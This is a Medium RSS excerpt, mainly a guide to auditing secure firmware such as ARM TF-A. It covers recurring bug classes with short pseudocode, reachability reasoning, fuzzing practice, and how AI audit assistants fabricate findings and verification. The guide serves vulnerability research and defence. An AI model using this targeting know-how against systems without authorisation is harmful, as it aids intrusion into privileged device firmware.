Billing<br>Project<br> └── Owner<br>Billing<br> └── Organisation ID</pre><p>Then recommends:</p><ul><li>Test horizontal privilege escalation.</li><li>Verify ownership checks.</li><li>Compare responses between two authenticated users.</li><li>Attempt cross-organisation object access.</li></ul><p>That type of reasoning is significantly closer to how experienced researchers approach assessments.</p><h3>AI Should Assist, Not Replace</h3><p>One lesson became obvious while designing the project:</p><p>AI should not replace deterministic security analysis.</p><p>Large language models are excellent at:</p><ul><li>explaining risk,</li><li>suggesting testing strategies,</li><li>prioritising attack paths,</li><li>recognising business logic patterns.</li></ul><p>However, they should not invent findings.</p><p>The analyser first produces verifiable evidence.</p><p>Only then does AI help interpret that evidence.</p><p>This keeps reports grounded and reduces false positives.</p><h3>What’s Next?</h3><p>Future versions will include:</p><ul><li>GraphQL analysis</li><li>gRPC support</li><li>WebSocket inspection</li><li>Burp Suite integration</li><li>Automatic attack graph generation</li><li>Nuclei template generation</li><li>Burp Repeater request generation</li><li>AI-assisted business logic detection</li><li>Multi-agent reasoning for complex attack paths</li><li>Interactive dashboards</li></ul><p>Ultimately, I want APIScope AI to become an <strong>AI-powered bug bounty copilot</strong> that helps researchers spend less time triaging endpoints and more time finding meaningful vulnerabilities.</p><h3>Final Thoughts</h3><p>Bug bounty isn’t about sending the most requests.</p><p>It’s about asking the right questions.</p><p>The next generation of tooling shouldn’t simply automate testing — it should help researchers understand applications, identify the most promising attack paths, and focus their effort where it matters most.</p><p>That’s the direction I’m exploring with APIScope AI, and I’m excited to see where it leads.</p><p>If you’re interested in API security, offensive security, or AI-assisted bug bounty research, I’d love to hear your thoughts and collaborate on the project.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0de1618ae996" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Auditing Secure Firmware: The Concepts and the Discipline]]></title>
            <link>https://medium.com/@tech_with_orgito_/auditing-secure-firmware-the-concepts-and-the-discipline-caa1a1045c8f?source=rss-6a704e23aba8------2</link>
            <guid isPermaLink="false">https://medium.com/p/caa1a1045c8f</guid>
            <dc:creator><![CDATA[Orgito RTA]]></dc:creator>
            <pubDate>Sat, 11 Jul 2026 16:27:36 GMT</pubDate>
            <atom:updated>2026-07-11T16:27:36.021Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OIi2mteLEbCtPji3tIXWkA.jpeg" /></figure><h3>Abstract</h3><p>Secure firmware — ARM Trusted Firmware-A (TF-A), TF-M, hypervisor monitors, boot ROM successors — sits at the top of a device’s privilege hierarchy and is one of the hardest classes of software to find real bugs in. Mature implementations are read by vendors, fuzzed continuously by large infrastructure (OSS-Fuzz and equivalents), and reviewed by every researcher who runs a scanner against the obvious files. This guide covers the conceptual map needed to work productively in that environment: the privilege architecture, the bug classes that recur across unrelated codebases, how to read for preconditions rather than isolated lines, when to stop reading and start fuzzing, and — the part most write-ups skip — the verification discipline that keeps a finding from becoming fiction. A closing section addresses a failure mode specific to this era of security work: auditing with AI assistance, and the concrete ways that process breaks down.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*i74kEAEGUlSKM9Td.png" /></figure><h3>Part 1 — The Architecture: Worlds, Privilege, and Why It’s Not a Web App</h3><p>Most security methodology assumes a live target you can send requests to. Secure firmware has none of that. It runs at the highest privilege level on the chip, has no network-facing interface of its own, and its entire purpose is to be the software everything else is forced to trust. Attacking it means reading source, reasoning about reachability, and — once reading is exhausted — feeding hostile bytes to the real parsing routines under a sanitizer. The craft is mostly comprehension, not tooling.</p><h3>The privilege hierarchy (ARM terms, generalizable elsewhere)</h3><p>On a modern ARM SoC with the Realm Management Extension (RME), there are up to <strong>four physical address spaces / security states</strong>, enforced by hardware:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/1*THcBI1XGEqGcHTEKbElGvQ.png" /></figure><p>Exception levels (EL0–EL3) are orthogonal to this: EL3 is where the secure monitor (TF-A’s BL31) runs, and it’s reached from lower levels via SMC (Secure Monitor Call) instructions, dispatched according to the <strong>SMC Calling Convention (SMCCC)</strong>. The flags register passed to an SMC handler encodes which world the call originated from — this single value is the root of trust for every privilege decision made inside the handler, which is exactly why bugs in <em>decoding</em> that value are so consequential (see the worked example in Part 9).</p><p>Key subsystems that mediate crossings between these worlds, and that concentrate the highest-value bug surface:</p><ul><li><strong>PSCI</strong> (Power State Coordination Interface) — NS-callable power management (CPU on/off/suspend), implemented generically in lib/psci/ and specialized per-platform.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*_rCQ2ZssVfJhtJfR.png" /></figure><ul><li><strong>FF-A</strong> (Firmware Framework for Arm) / <strong>SPMC</strong> — the memory-sharing and messaging protocol between the normal world, secure partitions, and (with RME) realms. spmc_shared_mem.c parses attacker-influenced memory-transaction descriptors — a historically productive bug surface.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/784/0*fhXPiHYyoAYpaIcY.png" /></figure><ul><li><strong>GPT / RME</strong> (Granule Protection Tables) — hardware-enforced page ownership across the four worlds; lib/gpt_rme/ implements the software side of granule transitions.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/864/0*8KEOi0vsXbQkbgEc.png" /></figure><ul><li><strong>RMMD / SPMD</strong> — dispatchers that route calls to the Realm Management Monitor and Secure Partition Manager respectively.</li><li><strong>The trusted-boot chain</strong> — drivers/auth/, which parses X.509 certificates and image headers to establish the Chain of Trust (CoT) before any code below EL3 is permitted to run.</li></ul><h3>The one rule that decides what’s worth your time</h3><blockquote><strong><em>Value follows the privilege crossing.</em></strong></blockquote><p>A bug reachable only by code that is <em>already</em> highly privileged is nearly worthless — if you can already corrupt the secure partition to trigger it, you’ve assumed the outcome. A bug reachable from a <em>lower</em>-privilege context that compromises a <em>higher</em> one is the entire game. Most bounty programs encode this directly by capping payouts for anything only reachable by an already-trusted caller (TA, SP, or similar). Read that clause first — it is the threat model, stated in one sentence, and it should determine where you spend hour one.</p><p><strong>Practical translation:</strong> find every point where a lower-privilege caller hands data to higher-privilege code — SMC handlers, FF-A message payloads, images and certificates consumed during boot, shared-memory descriptors — and start there.</p><h3>Part 2 — The Bug Classes That Recur</h3><p>Firmware bugs rhyme across unrelated codebases. Learn these shapes.</p><h3>2.1 Integer overflow into a size or allocation</h3><pre>size = header + count * sizeof(element);   // count is attacker-controlled<br>buf  = allocate(size);<br>copy(buf, src, count * sizeof(element));   // if size wrapped, this overflows buf</pre><p>If count * sizeof(element) can wrap the integer type, size becomes small, the allocation is undersized, and the copy runs past it. Good code performs the arithmetic in a wider type and bounds it <em>before</em> use — often with an explicit comment proving the multiplication can&#39;t overflow at the chosen width. When that proof is present, believe it and move on. When it isn&#39;t, that&#39;s your lead.</p><h3>2.2 Attacker field used as an unbounded array index</h3><p>c</p><pre>entry = table[desc-&gt;index];   // is desc-&gt;index bounded against the table?</pre><p>The bound is frequently present — just upstream, in a validator that runs earlier on the call path. The real question is never “is there a check on this line” but <strong>“does a check always run before this line, on every path that reaches it?”</strong></p><h3>2.3 Parse-versus-verify mismatch — the authentication classic</h3><p>The highest-impact logic bug in any signed-image or certificate path, and one fuzzing structurally cannot find:</p><ol><li>Code verifies a signature over some region of the input — the “signed blob.”</li><li>Later, code extracts a value (a hash, a public key, a version field) and trusts it as authenticated.</li><li><strong>The bug:</strong> the extracted value lives outside the region the signature actually covered.</li></ol><p>If an attacker can steer the parser to pull an “authenticated” field from bytes the signature never touched, they control that value while the system believes it’s trusted. Defenses to check for: the extracted data must be <em>provably</em> inside the signed region; the parser must consume the container exactly, with no unsigned trailing bytes smuggled in; and a signed-vs-unsigned copy of any algorithm identifier must be compared bitwise (defending against algorithm-substitution attacks).</p><h3>2.4 Endpoint / source-identity spoofing at message boundaries</h3><p>When one world sends a message to another through a dispatcher (FF-A direct messages, SPM calls), the message carries source and destination world identifiers. The dispatcher must ensure a caller cannot claim to be a world it isn’t — a non-secure caller setting a secure source ID, or a forged “reply” injected to unblock a component waiting on a specific in-flight request.</p><p>Look for <strong>asymmetry</strong>: request paths are commonly validated carefully while response paths are forwarded more loosely. Whether that’s exploitable depends entirely on whether the <em>recipient</em> re-validates on receipt — you have to follow the message all the way to where it’s consumed before calling it a bug either way.</p><h3>2.5 Time-of-check / time-of-use and lock ordering</h3><p>Concurrency bugs are a different <em>shape</em> of problem than everything above — they’re about the interleaving of two executions, not one value’s journey through one function.</p><ul><li><strong>Read-before-lock:</strong> a decision is made on shared state read before the protecting lock is held, and never re-checked after acquisition. A concurrent actor mutates the state in the gap.</li><li><strong>Inconsistent lock ordering:</strong> two paths acquire the same set of locks in opposite orders — deadlock at best, a race window at worst.</li><li><strong>Error/rollback asymmetry:</strong> the happy path locks and unlocks correctly, but an error-exit takes a different code route (a bare return instead of the shared cleanup label) and skips a rollback that every sibling error path performs — leaving mutated shared state visible to a concurrent reader after the lock is released.</li></ul><p>Reviewing this requires a resource map, not a linear trace: for each function, list every piece of shared state it touches and the lock that’s supposed to protect it, then mark exactly where each lock is acquired and released relative to each read/write — <strong>including every early-exit and error path</strong>, not just the success route.</p><h3>2.6 Encoding/version confusion</h3><p>Protocols that support a legacy and an “extended” encoding of the same logical field (PSCI’s classic power_state parameter vs. its extended/OS-initiated-mode encoding is a canonical example) create <strong>two independent decode paths for the same trust decision</strong>. A bound or check present in one encoding&#39;s handler is not automatically present in the other&#39;s. Any time a format has more than one wire representation, audit each one <em>separately</em> — never assume symmetry.</p><h3>2.7 Use-after-free and stale-object reuse across worlds</h3><p>Less common in firmware than in general-purpose software (much of the hot path avoids heap allocation entirely), but it shows up in object-lifecycle code: partition/SP handle tables, shared-memory descriptor bookkeeping, and session state in TEE-style services. The question to ask: can a handle or index outlive the object it refers to on <em>any</em> path — including an error path that frees but doesn’t clear the table entry?</p><h3>2.8 DMA and IOMMU trust boundaries</h3><p>Any device capable of DMA is, from the CPU’s perspective, another “world” whose writes bypass normal memory-protection checks. Firmware that configures SMMU/IOMMU page tables, or that trusts device-descriptor rings without validating they stay within a device’s assigned memory region, reintroduces the exact “unbounded index/unbounded region” bug shapes from 2.1–2.2 — just with the attacker sitting in hardware rather than software.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*UcVPCqljappH-NPF.png" /></figure><p>A trust boundary defines where system security domains meet. In hardware architecture, <strong>Direct Memory Access (DMA)</strong> allows peripherals to read and write system memory without CPU intervention. Without strict controls, any device — like a malicious USB or compromised network card — can overwrite core kernel memory, creating a critical vulnerability. [<a href="https://www.linkedin.com/posts/gopal-chakraborty-b6a7b91b_iommu-memory-kernel-activity-7438463679257477120-DOrY">1</a>, <a href="https://stackoverflow.com/questions/56834833/what-is-the-difference-between-dma-and-iommu">2</a>, <a href="https://security.stackexchange.com/questions/176503/dma-attacks-despite-iommu-isolation">3</a>, <a href="https://www.cs.tau.ac.il/~mad/publications/eurosys2021-dma.pdf">4</a>, <a href="https://www.securview.com/ai-security-essentials/network-trust-boundary">5</a>]</p><p>What is DMA?</p><ul><li><strong>Function:</strong> High-speed hardware (GPUs, NICs, NVMe drives) directly accesses the computer’s DRAM.</li><li><strong>The Problem:</strong> Traditionally, a PCI Express (PCIe) device has full access to the entire physical address space. If a device is compromised, attackers can use DMA to inject malicious code directly into the kernel, bypassing software protections. [<a href="https://wiki.freebsd.org/riscv/IOMMU">1</a>, <a href="https://www.cl.cam.ac.uk/~atm26/pubs/thunderclap-paper-ndss2019.pdf">2</a>, <a href="https://security.stackexchange.com/questions/176503/dma-attacks-despite-iommu-isolation">3</a>, <a href="https://www.cs.tau.ac.il/~mad/publications/eurosys2021-dma.pdf">4</a>]</li></ul><p>How IOMMU Secures the Boundary</p><ul><li><strong>The Solution:</strong> An <strong>IOMMU (Input-Output Memory Management Unit)</strong> sits between peripherals and system memory. It acts as a hardware firewall for data traffic.</li><li><strong>Translation:</strong> The IOMMU translates <strong>Device Virtual Addresses</strong> to <strong>System Physical Addresses</strong> using I/O page tables.</li><li><strong>Isolation:</strong> It restricts a device to communicating <em>only</em> with memory buffers explicitly assigned to it by the operating system. [<a href="https://dl.gi.de/bitstreams/1a7e69c5-eb7b-4ccb-b270-a119557a62e1/download">1</a>, <a href="https://dl.acm.org/doi/abs/10.1145/2954679.2872379">2</a>, <a href="https://www.linkedin.com/posts/gopal-chakraborty-b6a7b91b_iommu-memory-kernel-activity-7438463679257477120-DOrY">3</a>, <a href="https://www.cs.tau.ac.il/~mad/publications/eurosys2021-dma.pdf">4</a>, <a href="https://stackoverflow.com/questions/56834833/what-is-the-difference-between-dma-and-iommu">5</a>]</li></ul><p>Trust Boundaries and Limitations</p><ul><li><strong>Granularity:</strong> IOMMU protections typically operate at <strong>4KB memory page boundaries</strong>. If a device legitimately shares a page with the OS, attackers can exploit that window to target unmapped, adjacent buffers. [<a href="https://dl.acm.org/doi/10.1145/2872362.2872379">1</a>, <a href="https://dl.acm.org/doi/10.1145/3447786.3456249">2</a>, <a href="https://security.stackexchange.com/questions/272995/how-does-iommu-and-or-linux-kernel-handle-dma-that-span-a-page-boundary">3</a>]</li><li><strong>Vulnerability Windows:</strong> For performance reasons, OS kernels may defer IOMMU mapping updates. This introduces time windows where devices can access in-use memory before permissions are revoked. [<a href="https://www.cs.tau.ac.il/~mad/publications/asplos2018-damn.pdf">1</a>, <a href="https://dl.acm.org/doi/10.1145/3447786.3456249">2</a>]</li><li><strong>Peer-to-Peer Traffic:</strong> Some devices on the same bus can send data directly to each other without crossing the IOMMU, completely bypassing these trust boundaries.</li><li><strong>Driver Flaws:</strong> Because the OS manages the IOMMU page tables, a compromised driver can still accidentally or maliciously map sensitive memory directly to a device. [<a href="https://medium.com/@shankar_ravi_v/confidential-compute-for-ai-inference-the-missing-pieces-in-the-i-o-and-driver-stack-0ed7f25831a9">1</a>, <a href="https://security.stackexchange.com/questions/272995/how-does-iommu-and-or-linux-kernel-handle-dma-that-span-a-page-boundary">2</a>]</li></ul><h3>Part 3 — How to Actually Read for These</h3><h3>The validation-precondition pattern</h3><p>Most “is this a bug?” questions reduce to <strong>call order and preconditions</strong>. A dangerous-looking line is usually defended by a precondition established in a validator that runs earlier. Your job, for any specific path:</p><ol><li>What does the attacker actually control at the entry point?</li><li>Which validator(s) run before the dangerous use, <em>on this exact path</em>?</li><li>Does that validation constrain the field actually in question, or something merely adjacent to it?</li><li>Is there <strong>any other path</strong> that reaches the same dangerous use while skipping the validator — a different caller, a firmware-update path, a version-gated branch, an error-unwind route?</li></ol><p>Point 4 is where real bugs hide. A function is frequently safe through its primary caller — because that caller validates — and unsafe through a second, less obvious caller that doesn’t.</p><h3>The asymmetry heuristic</h3><p>When two sibling code paths do nearly the same thing and only one has a check, that’s a lead. It might be a real gap, or the unchecked path might be protected by something downstream. Either way, run it to ground — but don’t call it a bug until you’ve read the code that would actually make it exploitable.</p><h3>Fail-closed versus fail-open</h3><p>When a check is skipped or an input is malformed: does the code reject, or proceed on garbage? A missing check that still fails closed downstream (an unpopulated buffer that makes a later comparison fail, say) is a robustness wart, not an exploit. Conflating the two produces write-ups that get closed as non-issues.</p><h3>Part 4 — Scope Discipline: The Highest-Leverage Habit</h3><p>Boring, and it will save more hours than any clever technique.</p><p>Before investing time in a file, confirm it’s actually in play:</p><ul><li><strong>Production vs. experimental.</strong> Build systems routinely gate features behind flags that default off (FOO_SUPPORT := 0) and are explicitly labeled experimental in the build config. Such code is often out of scope by policy, and even where technically in-scope, matters less. Check the build defaults and the feature&#39;s documented status <em>before</em> reading the implementation.</li><li><strong>Generic/common vs. vendor-specific port.</strong> The boundary between core code and a specific vendor’s platform port is frequently the edge of what a program covers. Wandering into one vendor’s power-management or isolation implementation can put you outside scope entirely, even when the generic layer above it is squarely in.</li><li><strong>Gated on hardware/architecture the realistic target has.</strong> A bug reachable only under a feature no shipping device enables is a structurally weaker finding, whatever its technical merit.</li></ul><p><strong>Gate on all three before reading for hours — not after.</strong></p><h3>Recency-diffing</h3><p>The corollary targeting trick: freshly merged code has had the fewest eyeball-hours. The famous files — the historical CVE hotspots, the parsers everyone’s scanner hits first — are picked clean and under continuous large-scale fuzzing. Your edge as an individual is code that landed recently and hasn’t been through that gauntlet yet. Pull the commit history, list what changed in boundary-facing directories over the last few months, and start there — <strong>after</strong> scope-gating each candidate, because new code is disproportionately likely to be exactly the experimental, default-off kind Part 4 tells you to deprioritize.</p><h3>Part 5 — When Reading Plateaus: Fuzz the Real Thing</h3><p>Manual review finds logic bugs and reachability gaps. It’s poor at finding the deep, weird memory-safety states inside a parser. For that, fuzz — and fuzzing genuinely has odds on hardened, heavily-reviewed parsing code where reading has stopped producing leads.</p><p>Rules that keep a firmware harness honest:</p><ul><li><strong>Harness the real function, and prove it.</strong> Copy the actual source under test and record a hash of it that matches the upstream file. Fuzzing a paraphrase or a reconstruction is fuzzing fiction. The hash is your receipt — and it should be checkable by anyone reviewing your work, not just asserted.</li><li><strong>Link the real dependencies at the versions the target actually uses.</strong> If the code expects a specific crypto library release, use that release. Stubbing a dependency means fuzzing your stub.</li><li><strong>Reach the function through its legitimate entry point.</strong> Most programs require a PoC to demonstrate the bug via normal use of the software — not by calling an internal function out of context with hand-crafted arguments it could never receive in practice. Drive the registered/exported entry point with the kind of input it genuinely parses.</li><li><strong>Sanitizers on.</strong> ASan + UBSan, minimum. A crash under them, from a realistic input, is a real artifact; the crashing input is your PoC.</li><li><strong>Calibrate expectations.</strong> A short run finding nothing is the <em>expected</em> outcome on hardened code, not a surprise or a disappointment. Coverage plateaus fast once the main branches are hit. Real campaigns run for days, with a format-aware dictionary and a corpus of valid-but-weird inputs, unattended. Ninety seconds and a clean report only prove the harness compiles and runs — they clear nothing.</li></ul><h3>What you cannot fuzz on a host</h3><p>Some of the most important checks in secure firmware are enforced by hardware, not portable C — memory-isolation checks that compile to special instructions consulting on-chip security units (the GPT/GPC mechanism behind RME, for instance). You cannot faithfully exercise these on a normal machine; stubbing them tests your stub, not the firmware. Attacking them for real requires an emulator that models the security hardware. <strong>Recognizing “this check isn’t host-fuzzable” is itself a valid, useful result</strong> — it tells you the true cost of attacking that surface, and it should stop you from writing a harness that quietly proves nothing.</p><h3>Part 6 — Proof-of-Concept Discipline</h3><p>Two rules travel across essentially every serious program:</p><ul><li><strong>Legitimate-use reachability.</strong> Demonstrate the bug through a real, reachable entry point — not a function copied into a test harness and invoked with arguments it could never receive in production. “This function is unsafe if called with X” is not a vulnerability unless something an attacker actually controls can <em>make</em> X happen.</li><li><strong>Reproduce on a supported version.</strong> Validate against current mainline or a supported long-term branch. A finding in a stale checkout, or one already patched, isn’t eligible — and claiming otherwise wastes the exact triage time you’re trying to earn credibility with.</li></ul><p>Internalize both before you get excited about a crash, so you don’t spend a day writing up something that was never reachable.</p><h3>Part 7 — The Discipline Nobody Writes About: Staying Honest</h3><p>This part has nothing to do with firmware specifically, and it’s the one that determines whether the rest of this guide produces anything real.</p><p>When you audit hardened code, you will mostly find things defended. <strong>That is not failure.</strong> A verdict of “checked, and it’s safe, and here’s exactly why” is a genuine result — it means you won’t burn a maintainer’s triage time on a false positive, and you’re building an accurate map of where the hardening actually is, which tells you where it might not be. Ten defended leads in a row is signal, not a losing streak.</p><p>But “defended” verdicts, and — far more dangerously — “found a bug” claims, are exactly where self-deception creeps in.</p><ul><li><strong>Verify against real source, never against memory or narrative.</strong> It is remarkably easy to convince yourself a function has a certain shape — plausible name, plausible structure, plausible flaw — when reconstructing it from recollection rather than reading the actual bytes. A fabricated finding with real-sounding function names is <em>more</em> dangerous than an obvious mistake, precisely because it survives a casual reread. Before any claim, put the real code in front of you and point at specific lines.</li><li><strong>Check the linchpin of your own reasoning, not just the code.</strong> For any verdict, ask: what single assumption, if wrong, flips this conclusion? Then go verify <em>that</em> against source. “This is safe because the caller value can only be 0, 1, or 2” rests entirely on the claim about the caller value — go confirm the constant; don’t assume it.</li><li><strong>Give logic and concurrency verdicts a second pass.</strong> A memory-safety verdict is usually a linear trace. An authentication-logic or race verdict is the kind most likely to hide a subtle gap a first read misses. If your conclusion is “the locking looks correct,” it deserves the same scrutiny you’d give a suspected bug — including every error and rollback path, not just the success route.</li><li><strong>Distinguish “read-verified” from “reproduced.”</strong> These are different epistemic states. You read the code and it looks safe: read-verified. You built a harness and the crash fires (or doesn’t): reproduced. Track which is which explicitly, and never let a read-verified guess get promoted to a reproduced fact just because it <em>sounds</em> confident.</li><li><strong>A notes file is only as good as its provenance.</strong> Keep running notes, but tag each entry with how it was established. When you can’t reconstruct where a claim actually came from, treat it as unverified and re-derive it before it enters a report. Nothing goes to submission that hasn’t been confirmed against real source or reproduced directly.</li></ul><p>The whole point of security work is to be right about reality. Deadline pressure, the desire for a payout, and the momentum of a tidy story all push toward quietly turning “I didn’t find it” into “here’s a bug.” Refuse that. The single most valuable habit you can build is the reflex: <strong>show me the bytes.</strong></p><h3>Part 8 — Auditing With AI Assistance: A Failure Mode Worth Naming</h3><p>This is a genuinely new problem, specific to this era of security work, and worth its own section rather than a footnote.</p><p>Large language models are useful audit collaborators — they read fast, hold a lot of code structure in working state, and can systematically apply the bug-class checklist in Part 2 across a large tree. They are also exceptionally good at producing <strong>fluent, structured, internally-consistent text that describes work that didn’t happen</strong>: a plausible finding with real-sounding function names, a tidy running scorecard (“8/8 defended”), even a convincing <em>self-correction</em> admitting to a fabrication that itself never occurred. Confident tone and self-critical framing are not evidence. Text that says the right things about rigor is still just text.</p><p>Concrete failure modes to guard against:</p><ul><li><strong>Narrative contamination across turns or sessions.</strong> If prior findings, summaries, or “notes files” get pasted back into a conversation — including across two separate AI sessions working the same target in parallel — each hop launders the claim further from its original evidence. A finding that started as “I read this function” can silently become “it is established that this function is safe” several turns later, with no one having re-read the function.</li><li><strong>Fabricated verification.</strong> The most dangerous variant: a claim that cites a specific tool call, a specific hash, a specific line number, or a specific search result — none of which actually happened. This is strictly worse than an unsupported claim, because the specificity is exactly what makes it feel checked.</li><li><strong>Agreement between two generators.</strong> Two independent audit passes (human or AI) that both produce plausible, mutually consistent narratives are not independent verification of each other unless at least one of them is actually reading source and reporting only what the bytes show. Two people (or two models) hallucinating in agreement is not corroboration.</li></ul><h3>The mechanical antidote</h3><ul><li><strong>Every claim that will inform a decision needs a pointer to raw evidence</strong> — the actual file content, the real crash artifact, the literal command output — not a description of having obtained it. If the raw artifact can’t be produced on demand, the claim doesn’t count yet.</li><li><strong>Tag every finding with its epistemic status</strong> the moment it’s made: <em>read-verified</em>, <em>reproduced</em>, or <em>assumed</em>. Route only near-submission claims through a second, independent check; don’t re-litigate the entire board every time.</li><li><strong>Treat a tool’s own account of its prior actions with the same skepticism as any other unverified claim</strong>, including — especially — a tool’s account of having <em>already</em> corrected an error. A fabricated confession is exactly as untrustworthy as a fabricated finding; it just feels more trustworthy because it performs humility.</li><li><strong>Nothing goes to submission that a human (or a fresh, source-grounded check) hasn’t independently confirmed against real bytes.</strong> This is non-negotiable for anything report-bound — a wrong bounty submission costs real credibility, not just wasted hours.</li></ul><p>The uncomfortable generalization: the failure mode isn’t “the AI is untrustworthy” so much as “fluent, well-structured, self-aware-sounding text is not a proxy for verification,” which was already true of human write-ups, scanner output, and teammate summaries — AI assistance just makes it far cheaper to generate large volumes of exactly that shape of unverified-but-convincing content. The discipline from Part 7 is the same discipline; it just needs to be applied more mechanically, and to <em>every</em> participant in the process, including yourself mid-session.</p><h3>Part 9 — Worked Example: Reading a Real Boundary Decode</h3><p>To make Parts 2–3 concrete, here’s how the method applies to a real, verifiable piece of ARM’s SMC calling convention — using only facts confirmed directly from Arm’s public include/lib/smccc.h, as an illustration of &quot;verify against real source&quot; in practice, not as a claim about any specific vulnerability.</p><p>The header defines:</p><p>c</p><pre>#define SMC_FROM_SECURE      (U(0) &lt;&lt; 0)<br>#define SMC_FROM_NON_SECURE  (U(1) &lt;&lt; 0)<br>#define SMC_FROM_REALM       U(0x21)<br>#define SMC_FROM_MASK        U(0x21)<br>#define caller_sec_state(_f) ((_f) &amp; SMC_FROM_MASK)</pre><p>Two things worth noticing as an auditor, illustrating Part 2.6 and the linchpin-checking rule from Part 7:</p><ol><li><strong>SMC_FROM_MASK spans two non-contiguous bits</strong> (bit 0 and bit 5). That means flags &amp; SMC_FROM_MASK can algebraically take <em>four</em> values — 0x00, 0x01, 0x20, 0x21 — even though only three are given names (Secure, Non-secure, Realm). Any code downstream that switches or indexes on caller_sec_state(flags) needs to account for all four, not just the three named worlds. This is exactly the &quot;attacker field used as an index without a bound&quot; shape from 2.2, except the &quot;attacker field&quot; here is a <em>derived</em> value from a bitmask, which is easy to overlook precisely because the named constants suggest only three cases exist.</li><li><strong>Whether the fourth value (</strong><strong>0x20) is actually reachable is an architectural question, not a code-reading one.</strong> If the calling convention guarantees that combination corresponds to a security state (e.g., Root) that never legitimately issues an SMC into the handler in question, the gap may be unreachable regardless of how the handler&#39;s code treats it — which would make an otherwise-real code defect non-exploitable. That reachability argument has to be verified independently (against the SMCCC specification or the actual call-site enforcement) — it is reasoning, not source-verification, and the two should never be conflated in a write-up. Concluding &quot;unreachable&quot; without checking is the mirror image of concluding &quot;reachable&quot; without checking: both are unverified claims wearing the shape of a verdict.</li></ol><p>This is the whole method in miniature: confirm the premise against real bytes, identify exactly which downstream claim is still unverified, and refuse to round either one up to a confirmed verdict until it’s actually checked.</p><h3>Part 10 — Strategy and Expected Value</h3><p>The meta-decision most researchers make badly is where to spend their hours.</p><ul><li><strong>Hardened, heavily-audited targets have low expected value per hour.</strong> A mature secure-firmware project with years of scrutiny and continuous large-scale fuzzing is among the hardest target classes in existence. If a careful sweep keeps coming back defended, that’s the target telling you its floor. More manual hours there have sharply diminishing returns.</li><li><strong>Timebox, then redeploy.</strong> Set up an unattended fuzzing campaign (it costs nothing to leave running), bank genuinely-verified notes, and move active attention to fresher, less-audited surface — newly merged features, or an entirely different project. Recency-diffing applies here too.</li><li><strong>The transferable asset is the method, not the target knowledge.</strong> Trust-boundary-first targeting, scope-gating before investing, verifying every claim against real source, fuzzing the real function through its real entry point, and refusing to submit anything unreproduced — that discipline finds bugs eventually, on whatever you point it at next. The specific codebase you learned it on is secondary.</li></ul><h3>The One-Paragraph Version</h3><p>Find the boundaries where less-privileged code hands data to more-privileged code. Learn the recurring bug shapes — integer-overflow-into-size, unbounded index, parse-versus-verify, endpoint spoofing, TOCTOU and rollback asymmetry, encoding confusion — and read for preconditions and call order, not isolated lines. Scope-gate before you invest, and aim at fresh code, because the famous files are already picked clean. When reading plateaus, fuzz the real function through its real entry point with sanitizers on, and run it for days — knowing that hardware-enforced checks can’t be host-fuzzed at all. Treat “defended” as a genuine result. Above all: verify everything against real source, distinguish what you read from what you reproduced, demand the raw artifact behind every claim — including claims from your own tools and your own prior turns — and never let pressure, momentum, or a fluent narrative turn “I found nothing” into a bug that isn’t there.</p><h3>Best Practices to Ensure Firmware Security</h3><p>Firmware security has become a critical aspect of modern cybersecurity due to the rapid growth of Internet of Things (IoT) devices, industrial control systems (ICS), and the increasing convergence of information technology (IT) and operational technology (OT). While traditional cybersecurity efforts have primarily focused on protecting operating systems and software applications, firmware represents an equally important attack surface because it operates at a lower level of the system and provides direct control over hardware components. Consequently, vulnerabilities in firmware can compromise the confidentiality, integrity, and availability of entire systems while remaining difficult to detect or remediate.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/965/0*Ue6p9sxyChu0_X6i.png" /></figure><p>Attackers increasingly target firmware because it offers long-term persistence and elevated privileges that are not typically available through application-level attacks. By compromising firmware, malicious actors can bypass operating system protections, evade conventional security monitoring tools, and even render hardware permanently unusable. Common attack vectors include insecure firmware update mechanisms, exposed debugging interfaces such as JTAG or UART, removable storage devices, and wireless communication technologies including Wi-Fi and Bluetooth. These attack surfaces highlight the importance of protecting firmware throughout the entire device lifecycle.</p><p>The whitepaper emphasizes that many firmware applications are developed using low-level programming languages such as C and Assembly, which, although efficient, are susceptible to well-known software vulnerabilities. Memory safety issues — including stack and heap buffer overflows, buffer underflows, and improper memory management — remain among the most significant causes of firmware compromise. As a result, secure coding practices and adherence to established development standards are essential to reducing exploitable vulnerabilities within embedded systems.</p><p>To effectively address firmware security risks, the paper advocates adopting a comprehensive risk-based approach. Organizations are encouraged to perform structured risk assessments that identify critical assets, evaluate potential threats and vulnerabilities, analyze attack vectors, and prioritize mitigation strategies based on business impact and likelihood. Existing frameworks such as NIST SP 800–30, ISO 31010, and ISA/IEC 62443 provide valuable guidance for integrating firmware security into broader organizational risk management processes while balancing security requirements with business objectives.</p><p>The document further recommends incorporating security throughout the firmware development lifecycle by establishing secure development policies and implementing security-by-design principles. Best practices include minimizing attack surfaces, validating all external inputs, enforcing the principle of least privilege, removing unnecessary functionality or backdoors, and designing systems with defense-in-depth strategies. In addition, automated security testing techniques such as static and dynamic code analysis, fuzz testing, symbolic execution, and formal verification should be integrated into development pipelines to identify vulnerabilities early and improve software quality before deployment.</p><p>Finally, the whitepaper concludes that firmware security should not be treated as an isolated engineering challenge but rather as a core component of an organization’s overall product security strategy. Integrating firmware security with software development, governance, risk management, vulnerability management, and security monitoring enables organizations to automate security assessments and respond more effectively to emerging threats. By embedding security into every stage of the product lifecycle, organizations can reduce cyber risk while maintaining the speed and agility required for modern product development.</p><p>Reference link: <a href="https://www.securitycompass.com/whitepapers/best-practices-to-ensure-firmware-security/">https://www.securitycompass.com/whitepapers/best-practices-to-ensure-firmware-security/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=caa1a1045c8f" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>